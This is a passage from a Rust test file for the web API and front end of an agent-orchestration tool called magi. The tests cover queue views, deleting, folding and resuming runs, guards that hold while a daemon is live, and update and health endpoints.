11986 "task".to_owned(),
11987 Config::default(),
11988 );
11989 state.id = "20260902-100000-c0de".to_owned();
11990 write_state(&runs, &state);
11991
11992 let rev_idle = runs_revision(&runs);
11993 std::thread::sleep(Duration::from_millis(10));
11994 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
11995 write_state(&runs, &state);
11996 let rev_started = runs_revision(&runs);
11997 assert_ne!(
11998 rev_idle, rev_started,
11999 "a seat starting must move the revision"
12000 );
12001
12002 std::thread::sleep(Duration::from_millis(10));
12003 state.seat_finished("judge-1");
12004 write_state(&runs, &state);
12005 let rev_finished = runs_revision(&runs);
12006 assert_ne!(
12007 rev_started, rev_finished,
12008 "and clearing it again must move the revision a second time"
12009 );
12010 }
12011
12012 #[tokio::test]
12013 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
12014 let fx = Fixture::start().await;
12019 let q = fx.queue();
12020
12021 let mut t = Task::new(
12022 "Task".to_owned(),
12023 "Instruction".to_owned(),
12024 PathBuf::from("/repo"),
12025 Source::Human,
12026 );
12027 t.block(
12028 vec!["20260101-000000-dead".to_owned()],
12029 Some("waiting on Task 1".to_owned()),
12030 );
12031 t.answers.push(crate::queue::AnsweredQuestion {
12032 question: "Which backend?".to_owned(),
12033 answer: "SQLite".to_owned(),
12034 });
12035 q.put(&mut t).expect("put t");
12036
12037 let res = fx.get("/api/queue").await;
12038 assert_eq!(res.status, 200);
12039 let list = res.json();
12040 let view = list
12041 .as_array()
12042 .expect("array")
12043 .iter()
12044 .find(|v| v["id"] == t.id)
12045 .expect("task in list");
12046 assert_eq!(view["status_str"], "blocked");
12047 assert_eq!(
12048 view["blocked_by"],
12049 serde_json::json!(["20260101-000000-dead"])
12050 );
12051 assert_eq!(view["block_reason"], "waiting on Task 1");
12052 assert_eq!(view["answers"][0]["question"], "Which backend?");
12053 assert_eq!(view["answers"][0]["answer"], "SQLite");
12054
12055 let res = fx
12059 .post(&format!("/api/queue/{}/hold", t.short()), None)
12060 .await;
12061 assert_eq!(res.status, 200);
12062 let held = res.json();
12063 assert_eq!(held["status_str"], "held");
12064 assert_eq!(held["blocked_by"], serde_json::json!([]));
12065 assert!(held["block_reason"].is_null());
12066 assert_eq!(held["answers"][0]["answer"], "SQLite");
12067 }
12068
12069 #[tokio::test]
12070 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
12071 let fx = Fixture::start().await;
12072 let q = fx.queue();
12073 let mk = |title: &str| {
12074 Task::new(
12075 title.to_owned(),
12076 "Instruction".to_owned(),
12077 PathBuf::from("/repo"),
12078 Source::Human,
12079 )
12080 };
12081 let mut root = mk("root");
12082 root.hold_manual(Some("waiting".to_owned()));
12083 q.put(&mut root).unwrap();
12084 let mut mid = mk("mid");
12085 mid.block(vec![root.id.clone()], None);
12086 q.put(&mut mid).unwrap();
12087 let mut leaf = mk("leaf");
12088 leaf.block(vec![mid.id.clone()], None);
12089 q.put(&mut leaf).unwrap();
12090
12091 let list = fx.get("/api/queue").await.json();
12092 let find = |id: &str| {
12093 list.as_array()
12094 .unwrap()
12095 .iter()
12096 .find(|v| v["id"] == id)
12097 .unwrap()
12098 .clone()
12099 };
12100 let leaf_view = find(&leaf.id);
12101 assert_eq!(
12102 leaf_view["waits_on"],
12103 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
12104 );
12105 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
12106 assert_eq!(
12107 find(&mid.id)["waits_on"],
12108 serde_json::json!([format!("{} (held)", root.short())])
12109 );
12110 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
12111 }
12112
12113 #[tokio::test]
12114 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
12115 let fx = Fixture::start().await;
12116 let q = fx.queue();
12117
12118 let mut t1 = Task::new(
12120 "Task 1".to_owned(),
12121 "Instruction 1".to_owned(),
12122 PathBuf::from("/repo"),
12123 Source::Human,
12124 );
12125 let run_id = "20260901-000000-r111";
12126 t1.runs.push(run_id.to_owned());
12127 write_run(&fx.runs(), run_id, RunStatus::Merged);
12128 q.put(&mut t1).expect("put t1");
12129
12130 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
12132 assert_eq!(res.status, 204);
12133 assert!(res.body.is_empty(), "204 No Content has no body");
12134 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
12135 assert!(
12136 fx.runs().join(run_id).exists(),
12137 "run directory must not be deleted when its task is deleted"
12138 );
12139
12140 let mut t2 = Task::new(
12142 "Task 2".to_owned(),
12143 "Instruction 2".to_owned(),
12144 PathBuf::from("/repo"),
12145 Source::Human,
12146 );
12147 t2.status = TaskStatus::Running;
12148 q.put(&mut t2).expect("put t2");
12149 let mut beat = crate::daemon::Status::new();
12150 beat.current = vec![crate::daemon::Current {
12151 task: t2.id.clone(),
12152 run: "20260901-000000-r222".to_owned(),
12153 }];
12154 beat.updated_at = jiff::Timestamp::now();
12155 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12156 .expect("publish a heartbeat");
12157 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
12158 assert_eq!(res.status, 409);
12159 assert!(
12160 res.json()["error"]
12161 .as_str()
12162 .unwrap()
12163 .contains("live daemon")
12164 );
12165 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
12166
12167 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
12173 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12174 .expect("leave a stale heartbeat");
12175 let mut t3 = Task::new(
12176 "Task 3".to_owned(),
12177 "Instruction 3".to_owned(),
12178 PathBuf::from("/repo"),
12179 Source::Human,
12180 );
12181 t3.status = TaskStatus::Running;
12182 q.put(&mut t3).expect("put t3");
12183 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
12184 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
12185 assert_eq!(res.status, 204);
12186 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
12187 assert!(
12188 q.claim(&t3.id).is_ok(),
12189 "the stale lock went with it, so the id is claimable again"
12190 );
12191
12192 let res = fx.delete("/api/queue/nonexistent").await;
12194 assert_eq!(res.status, 404);
12195 }
12196
12197 #[tokio::test]
12198 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
12199 let fx = Fixture::start().await;
12200 let runs = fx.runs();
12201
12202 let run_id = "20260901-000000-fold";
12204 let mut state = RunState::new(
12205 PathBuf::from("/repo"),
12206 "main".to_owned(),
12207 "abc".to_owned(),
12208 "instruction".to_owned(),
12209 Config::default(),
12210 );
12211 state.id = run_id.to_owned();
12212 state.status = RunStatus::Merged;
12213 state.candidates.push(crate::run::Candidate {
12214 index: 0,
12215 label: 'A',
12216 agent: "a".to_owned(),
12217 branch: "b".to_owned(),
12218 worktree: PathBuf::from("/w"),
12219 summary: String::new(),
12220 stat: String::new(),
12221 files: 1,
12222 commits: 1,
12223 empty: false,
12224 failed: None,
12225 verified_noop: None,
12226 duration_ms: 0,
12227 folded: true,
12228 });
12229 let dir = runs.join(run_id);
12230 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
12231 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
12232 .expect("write artifact");
12233 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
12234 .expect("write run.json");
12235
12236 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
12238 assert_eq!(res.status, 204);
12239 assert!(res.body.is_empty(), "204 has no body");
12240 assert!(!dir.exists(), "run directory and artifacts must be deleted");
12241
12242 let run_running = "20260901-000000-rung";
12247 write_run(&runs, run_running, RunStatus::Prep);
12248 let mut beat = crate::daemon::Status::new();
12249 beat.current = vec![crate::daemon::Current {
12250 task: "20260901-000000-task".to_owned(),
12251 run: run_running.to_owned(),
12252 }];
12253 beat.updated_at = jiff::Timestamp::now();
12254 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12255 .expect("publish a heartbeat");
12256 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
12257 assert_eq!(res.status, 409);
12258 assert!(
12259 res.json()["error"]
12260 .as_str()
12261 .unwrap()
12262 .contains("live daemon"),
12263 "the refusal must say who is holding it"
12264 );
12265 assert!(
12266 runs.join(run_running).exists(),
12267 "a run in flight keeps its directory"
12268 );
12269
12270 let run_unfolded = "20260901-000000-unfd";
12272 let mut state2 = RunState::new(
12273 PathBuf::from("/repo"),
12274 "main".to_owned(),
12275 "abc".to_owned(),
12276 "instruction".to_owned(),
12277 Config::default(),
12278 );
12279 state2.id = run_unfolded.to_owned();
12280 state2.status = RunStatus::Ready;
12281 state2.candidates.push(crate::run::Candidate {
12282 index: 0,
12283 label: 'A',
12284 agent: "a".to_owned(),
12285 branch: "b".to_owned(),
12286 worktree: PathBuf::from("/w"),
12287 summary: String::new(),
12288 stat: String::new(),
12289 files: 1,
12290 commits: 1,
12291 empty: false,
12292 failed: None,
12293 verified_noop: None,
12294 duration_ms: 0,
12295 folded: false,
12296 });
12297 let dir2 = runs.join(run_unfolded);
12298 std::fs::create_dir_all(&dir2).expect("create dir2");
12299 std::fs::write(
12300 dir2.join("run.json"),
12301 serde_json::to_string(&state2).unwrap(),
12302 )
12303 .expect("write run.json");
12304
12305 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
12306 assert_eq!(res.status, 409);
12307 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
12308 assert!(dir2.exists(), "unfolded run directory is kept");
12309
12310 let res = fx.delete("/api/runs/nonexistent").await;
12312 assert_eq!(res.status, 404);
12313 }
12314
12315 #[test]
12324 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
12325 let start = APP_JS
12326 .find("function renderStats() {")
12327 .expect("renderStats");
12328 let end = start
12329 + APP_JS[start..]
12330 .find("function statsTile(")
12331 .expect("the next top-level function");
12332 let body = &APP_JS[start..end];
12333
12334 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
12335 let gate_end = gate_start
12336 + body[gate_start..]
12337 .find("}\n renderStatsQueue")
12338 .expect("the gate's own closing brace, right before the unconditional call");
12339 let gated = &body[gate_start..gate_end];
12340
12341 assert_eq!(
12342 body.matches("renderStatsQueue(").count(),
12343 1,
12344 "renderStats must call renderStatsQueue exactly once: {body}"
12345 );
12346 assert!(
12347 !gated.contains("renderStatsQueue"),
12348 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
12349 run-derived panels on an empty run history - the queue panel has to render \
12350 regardless: {gated}"
12351 );
12352 }
12353
12354 #[test]
12355 fn web_ui_delete_contract_in_front_end() {
12356 assert!(APP_JS.contains("deleteRun:"));
12358 assert!(APP_JS.contains("deleteTask:"));
12359
12360 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
12362 ..APP_JS.find("function renderRuns").unwrap()];
12363 assert!(!run_cards_slice.to_lowercase().contains("delete"));
12364
12365 assert!(APP_JS.contains("renderRunDelete"));
12367 assert!(APP_JS.contains("runDeleteReason"));
12368 assert!(APP_JS.contains("magi fold"));
12369 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
12370
12371 assert!(APP_JS.contains("cancel.focus"));
12373 assert!(APP_JS.contains("armedRunDelete"));
12374 assert!(APP_JS.contains("renderTaskDeleteBox"));
12375 assert!(APP_JS.contains("armed${cap(key)}"));
12376
12377 assert!(APP_JS.contains("disabled: status === \"running\""));
12379 }
12380
12381 #[test]
12401 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
12402 let build = APP_JS
12403 .find("function createRunCard")
12404 .expect("createRunCard exists");
12405 let update = APP_JS
12406 .find("function updateRunCard")
12407 .expect("updateRunCard exists");
12408 let end = APP_JS
12409 .find("function renderRuns")
12410 .expect("renderRuns exists");
12411
12412 let builder = &APP_JS[build..update];
12414 let open = builder.find("refs = {").expect("createRunCard sets refs");
12415 let literal = &builder[open + "refs = {".len()..];
12416 let close = literal.find('}').expect("the refs literal is closed");
12417 let published: HashSet<&str> = literal[..close]
12418 .split(',')
12419 .filter_map(|entry| entry.split(':').next())
12421 .map(str::trim)
12422 .filter(|name| !name.is_empty())
12423 .collect();
12424 assert!(
12425 published.len() > 5,
12426 "the refs literal did not parse into names: {published:?}"
12427 );
12428
12429 let mut used: Vec<&str> = Vec::new();
12432 let updaters = &APP_JS[update..end];
12433 for (at, _) in updaters.match_indices("r.") {
12434 let before = updaters[..at].chars().next_back();
12437 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
12438 continue;
12439 }
12440 let rest = &updaters[at + 2..];
12441 let len = rest
12442 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
12443 .unwrap_or(rest.len());
12444 if len > 0 {
12445 used.push(&rest[..len]);
12446 }
12447 }
12448 assert!(
12449 used.len() > 5,
12450 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
12451 );
12452
12453 let missing: Vec<&str> = used
12454 .iter()
12455 .copied()
12456 .filter(|name| !published.contains(name))
12457 .collect();
12458 assert!(
12459 missing.is_empty(),
12460 "a run card's updater reaches for {missing:?}, which `createRunCard` \
12461 never put in `refs` - every card will throw and the list will \
12462 render empty under a count line that says otherwise. Published: \
12463 {published:?}"
12464 );
12465 }
12466
12467 #[tokio::test]
12468 async fn folding_from_the_phone_reports_what_it_removed() {
12469 let fx = Fixture::start().await;
12470 let runs = fx.runs();
12471
12472 let id = "20260901-000000-fold";
12476 write_run(&runs, id, RunStatus::Stalled);
12477 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12478 assert_eq!(res.status, 200);
12479 assert_eq!(res.json()["removed_count"], 0);
12480 assert_eq!(res.json()["run"], id);
12481 assert!(
12482 runs.join(id).exists(),
12483 "a fold keeps the run's record; only the worktrees go"
12484 );
12485 }
12486
12487 #[tokio::test]
12488 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
12489 let fx = Fixture::start().await;
12490 let runs = fx.runs();
12491 let wt = fx.home.path().join("wt").join("magi").join("dead");
12492 let id = "20260901-000000-dead";
12493 std::fs::create_dir_all(runs.join(id)).expect("run dir");
12494 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
12495 std::fs::create_dir_all(&wt).expect("worktree dir");
12496
12497 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12498 assert_eq!(res.status, 200, "{}", res.body);
12499 assert!(
12500 res.json()["removed_count"].as_u64().unwrap() > 0,
12501 "the worktree this build could not read a state for still went"
12502 );
12503 assert!(
12504 !runs.join(id).exists(),
12505 "an unreadable run has no candidate list to fold selectively, so \
12506 the whole record goes - same as `magi fold` on the CLI"
12507 );
12508 }
12509
12510 #[tokio::test]
12511 async fn deleting_an_unreadable_run_removes_it_wholesale() {
12512 let fx = Fixture::start().await;
12513 let runs = fx.runs();
12514 let wt = fx.home.path().join("wt").join("magi").join("gone");
12515 let id = "20260901-000000-gone";
12516 std::fs::create_dir_all(runs.join(id)).expect("run dir");
12517 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
12518 std::fs::create_dir_all(&wt).expect("worktree dir");
12519
12520 let res = fx.delete(&format!("/api/runs/{id}")).await;
12521 assert_eq!(res.status, 204, "{}", res.body);
12522 assert!(!runs.join(id).exists(), "the broken record is gone");
12523 assert!(!wt.exists(), "its worktree is gone too");
12524 }
12525
12526 #[tokio::test]
12527 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
12528 let fx = Fixture::start().await;
12529 let runs = fx.runs();
12530 let id = "20260901-000000-live";
12531 write_run(&runs, id, RunStatus::Implementing);
12532
12533 let mut beat = crate::daemon::Status::new();
12534 beat.current = vec![crate::daemon::Current {
12535 task: "20260901-000000-task".to_owned(),
12536 run: id.to_owned(),
12537 }];
12538 beat.updated_at = jiff::Timestamp::now();
12539 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12540 .expect("publish a heartbeat");
12541
12542 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
12543 assert_eq!(res.status, 409);
12544 assert!(
12545 res.json()["error"]
12546 .as_str()
12547 .unwrap()
12548 .contains("live daemon"),
12549 "folding under a running agent would pull its worktree away"
12550 );
12551 }
12552
12553 #[tokio::test]
12554 async fn fold_merged_requires_a_pr_url() {
12555 let fx = Fixture::start().await;
12556 let runs = fx.runs();
12557 let id = "20260901-000000-nourl";
12558 write_run(&runs, id, RunStatus::Blocked);
12559
12560 let res = fx
12561 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
12562 .await;
12563 assert_eq!(res.status, 400, "{}", res.body);
12564
12565 let blank = fx
12566 .post(
12567 &format!("/api/runs/{id}/fold-merged"),
12568 Some(r#"{"pr_url":" "}"#),
12569 )
12570 .await;
12571 assert_eq!(blank.status, 400, "{}", blank.body);
12572 }
12573
12574 #[tokio::test]
12575 async fn fold_merged_is_404_for_an_unknown_run() {
12576 let fx = Fixture::start().await;
12577 let res = fx
12578 .post(
12579 "/api/runs/nosuchrun/fold-merged",
12580 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12581 )
12582 .await;
12583 assert_eq!(res.status, 404, "{}", res.body);
12584 }
12585
12586 #[tokio::test]
12587 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
12588 let fx = Fixture::start().await;
12589 let runs = fx.runs();
12590 let id = "20260901-000000-livemerge";
12591 write_run(&runs, id, RunStatus::Blocked);
12592
12593 let mut beat = crate::daemon::Status::new();
12594 beat.current = vec![crate::daemon::Current {
12595 task: "20260901-000000-task".to_owned(),
12596 run: id.to_owned(),
12597 }];
12598 beat.updated_at = jiff::Timestamp::now();
12599 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12600 .expect("publish a heartbeat");
12601
12602 let res = fx
12603 .post(
12604 &format!("/api/runs/{id}/fold-merged"),
12605 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12606 )
12607 .await;
12608 assert_eq!(res.status, 409, "{}", res.body);
12609 assert!(
12610 res.json()["error"]
12611 .as_str()
12612 .unwrap()
12613 .contains("live daemon"),
12614 "correcting a run's merge underneath a running agent would race \
12615 whatever it is doing to the same `status`/`merge` fields"
12616 );
12617 }
12618
12619 #[tokio::test]
12624 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
12625 let fx = Fixture::start().await;
12626 let runs = fx.runs();
12627 let id = "20260901-000000-unconfirmed";
12628 write_run(&runs, id, RunStatus::Blocked);
12629
12630 let res = fx
12631 .post(
12632 &format!("/api/runs/{id}/fold-merged"),
12633 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
12634 )
12635 .await;
12636 assert_eq!(res.status, 400, "{}", res.body);
12637 assert_eq!(
12638 read_run(&runs, id).unwrap().status,
12639 RunStatus::Blocked,
12640 "a pull request that could not be confirmed merged must leave \
12641 the run exactly where it was"
12642 );
12643 }
12644
12645 #[tokio::test]
12646 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
12647 let fx = Fixture::start().await;
12648 let runs = fx.runs();
12649
12650 for (status, word) in [
12656 (RunStatus::Merged, "merged"),
12657 (RunStatus::Ready, "ready"),
12658 (RunStatus::Failed, "failed"),
12659 ] {
12660 let id = format!("20260901-000000-{}", &word[..4]);
12661 write_run(&runs, &id, status);
12662 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
12663 assert_eq!(res.status, 409, "{word} must not be resumable");
12664 let err = res.json()["error"].as_str().unwrap().to_owned();
12665 assert!(err.contains(word), "the refusal names the status: {err}");
12666 }
12667
12668 let mid = "20260901-000000-midf";
12673 write_run(&runs, mid, RunStatus::Reviewing);
12674 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
12675 assert_eq!(res.status, 202, "an interrupted run is resumable");
12676 }
12677
12678 #[tokio::test]
12679 async fn resume_is_refused_while_the_loop_is_running() {
12680 let fx = Fixture::start().await;
12681 let runs = fx.runs();
12682 let stalled = "20260901-000000-stal";
12683 write_run(&runs, stalled, RunStatus::Stalled);
12684
12685 let mut beat = crate::daemon::Status::new();
12689 beat.current = vec![crate::daemon::Current {
12690 task: "20260901-000000-task".to_owned(),
12691 run: "20260901-000000-othr".to_owned(),
12692 }];
12693 beat.updated_at = jiff::Timestamp::now();
12694 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12695 .expect("publish a heartbeat");
12696
12697 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
12698 assert_eq!(res.status, 409);
12699 let err = res.json()["error"].as_str().unwrap().to_owned();
12700 assert!(err.contains("othr"), "it names what the loop is on: {err}");
12701 assert!(err.contains("stop it first"), "{err}");
12702 }
12703
12704 #[test]
12705 fn a_run_cannot_be_resumed_twice_at_once() {
12706 let home = TempDir::new().expect("temp home");
12707 let ui = Ui::new(
12708 Queue::at(home.path().join("queue")),
12709 Questions::at(home.path().join("questions")),
12710 Talks::at(home.path().join("talks")),
12711 home.path().join("runs"),
12712 home.path().to_path_buf(),
12713 PathBuf::from("/repo"),
12714 )
12715 .with_worktrees_root(home.path().join("wt"));
12716 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
12717 let again = ui.begin_resume("20260901-000000-once");
12718 assert!(again.is_err(), "a second tap must not start a second graph");
12719 drop(first);
12720 assert!(
12721 ui.begin_resume("20260901-000000-once").is_ok(),
12722 "and the claim is released when the attempt ends"
12723 );
12724 }
12725
12726 #[test]
12727 fn talk_thinking_tracks_only_its_held_turn_claim() {
12728 let home = TempDir::new().expect("temp home");
12729 let ui = Ui::new(
12730 Queue::at(home.path().join("queue")),
12731 Questions::at(home.path().join("questions")),
12732 Talks::at(home.path().join("talks")),
12733 home.path().join("runs"),
12734 home.path().to_path_buf(),
12735 PathBuf::from("/repo"),
12736 )
12737 .with_worktrees_root(home.path().join("wt"));
12738 let id = "20260901-000000-once";
12739
12740 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
12741 let turn = ui.begin_talk_turn(id).expect("claim turn");
12742 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
12743 assert!(
12744 !ui.is_thinking("20260901-000000-other"),
12745 "one talk's turn does not make another talk busy"
12746 );
12747 drop(turn);
12748 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
12749 }
12750
12751 #[tokio::test]
12752 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
12753 let fx = Fixture::start().await;
12754 let mut beat = crate::daemon::Status::new();
12758 beat.pid = 4321;
12759 beat.updated_at = jiff::Timestamp::now();
12760 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
12761 .expect("publish a heartbeat");
12762
12763 let res = fx.post("/api/upgrade", None).await;
12764 assert_eq!(res.status, 409);
12765 let err = res.json()["error"].as_str().unwrap().to_owned();
12766 assert!(err.contains("4321"), "the refusal names the owner: {err}");
12767 assert!(err.contains("old one against the same queue"), "{err}");
12768 }
12769
12770 #[test]
12777 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
12778 assert!(!should_spawn_recheck(&crate::config::Update {
12779 mode: UpdateMode::Off,
12780 interval: None,
12781 }));
12782
12783 unsafe {
12786 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
12787 }
12788 let killed = should_spawn_recheck(&crate::config::Update {
12789 mode: UpdateMode::Notify,
12790 interval: None,
12791 });
12792 unsafe {
12793 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
12794 }
12795 assert!(
12796 !killed,
12797 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
12798 one-time startup check"
12799 );
12800
12801 assert!(should_spawn_recheck(&crate::config::Update {
12802 mode: UpdateMode::Notify,
12803 interval: None,
12804 }));
12805 }
12806
12807 #[test]
12813 fn recheck_poll_period_tracks_a_short_configured_interval() {
12814 let short = crate::config::Update {
12815 mode: UpdateMode::Notify,
12816 interval: Some("1m".to_owned()),
12817 };
12818 let period = recheck_poll_period(&short);
12819 assert!(
12820 period <= Duration::from_secs(30),
12821 "a one-minute interval must wake the task far sooner than the \
12822 default ceiling, or the deck would not notice within the \
12823 interval the operator configured: got {period:?}"
12824 );
12825
12826 let default = crate::config::Update {
12827 mode: UpdateMode::Notify,
12828 interval: None,
12829 };
12830 assert_eq!(
12831 recheck_poll_period(&default),
12832 UPDATE_RECHECK_POLL_MAX,
12833 "the default day-long interval should poll at the (capped) \
12834 ceiling rather than needlessly often"
12835 );
12836 }
12837
12838 #[test]
12846 fn recheck_skips_the_network_before_the_interval_elapses() {
12847 let dir = TempDir::new().expect("temp dir");
12848 let path = dir.path().join("state.json");
12849 let state = kaishin::UpdateCheckState {
12850 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
12851 last_known_latest: None,
12852 last_known_url: None,
12853 };
12854 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
12855
12856 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
12857 assert!(
12858 !update_recheck_due(&checker, None),
12859 "a check made moments ago must not be repeated before the \
12860 configured interval elapses"
12861 );
12862 }
12863
12864 #[test]
12870 fn recheck_defers_to_an_upgrade_already_in_flight() {
12871 let dir = TempDir::new().expect("temp dir");
12872 let path = dir.path().join("state.json");
12873 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
12874 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
12875
12876 assert!(
12877 !update_recheck_due(&checker, Some(&progress)),
12878 "a recheck must not run while an upgrade this deck started is \
12879 still moving"
12880 );
12881 }
12882
12883 #[tokio::test]
12884 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
12885 unsafe {
12897 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
12898 }
12899 let fx = Fixture::start().await;
12900 let res = fx.post("/api/upgrade", None).await;
12901 unsafe {
12902 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
12903 }
12904 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
12905 let body = res.json();
12906 assert!(body["to"].is_null(), "there was no release to move to");
12907 assert!(body["parked"].is_null(), "and nothing was parked");
12908 assert!(
12909 body["detail"]
12910 .as_str()
12911 .unwrap()
12912 .contains("disabled by MAGI_NO_AUTOUPDATE"),
12913 "{body:?}"
12914 );
12915 }
12916
12917 #[tokio::test]
12918 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
12919 let repo = TempDir::new().expect("repo dir");
12935 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
12936 .expect("write magi.toml");
12937 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12938
12939 let res = fx.post("/api/upgrade", None).await;
12945 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
12946 let body = res.json();
12947 assert!(body["to"].is_null(), "there was no release to move to");
12948 assert!(body["parked"].is_null(), "and nothing was parked");
12949 assert!(
12950 body["detail"]
12951 .as_str()
12952 .unwrap()
12953 .contains("nothing restarted"),
12954 "{body:?}"
12955 );
12956 }
12957
12958 #[tokio::test]
12959 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
12960 let repo = TempDir::new().expect("repo dir");
12965 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
12966 .expect("write magi.toml");
12967 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12968
12969 let health = fx.get("/api/health").await.json();
12970 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
12971 assert_eq!(
12972 health["update"]["available"], false,
12973 "checking is off, which reads as \"unknown\", not \"none\""
12974 );
12975 assert!(health["update"]["to"].is_null());
12976 assert!(
12977 health["upgrade"].is_null(),
12978 "nothing has ever asked this deck to upgrade"
12979 );
12980 }
12981
12982 #[tokio::test]
12983 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
12984 let fx = Fixture::start().await;
12985 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
12986
12987 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
12988 progress.parked_run = Some("20260905-000000-cd51".to_owned());
12989 progress.advance(crate::updater::Stage::Parking);
12990 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
12991
12992 let health = fx.get("/api/health").await.json();
12993 assert_eq!(health["upgrade"]["stage"], "parking");
12994 assert_eq!(health["upgrade"]["from"], "0.5.1");
12995 assert_eq!(health["upgrade"]["to"], "0.5.2");
12996 let waiting_on = health["upgrade"]["waiting_on"]
12997 .as_str()
12998 .expect("waiting_on is set while parking a known run");
12999 assert!(waiting_on.contains("cd51"), "{waiting_on}");
13000 assert!(waiting_on.contains("implementing"), "{waiting_on}");
13001 }
13002
13003 #[tokio::test]
13004 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
13005 let fx = Fixture::start().await;
13006 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13007 progress.advance(crate::updater::Stage::Done);
13008 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13009
13010 let health = fx.get("/api/health").await.json();
13011 assert_eq!(health["upgrade"]["stage"], "done");
13012 assert!(
13013 health["upgrade"]["waiting_on"].is_null(),
13014 "nothing to wait on once it is done"
13015 );
13016 }
13017
13018 #[tokio::test]
13019 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
13020 let home = TempDir::new().expect("temp home");
13021 let runs = home.path().join("runs");
13022 std::fs::create_dir_all(&runs).expect("runs dir");
13023 let ui = Ui::new(
13024 Queue::at(home.path().join("queue")),
13025 Questions::at(home.path().join("questions")),
13026 Talks::at(home.path().join("talks")),
13027 runs,
13028 home.path().to_path_buf(),
13029 PathBuf::from("/repo/magi"),
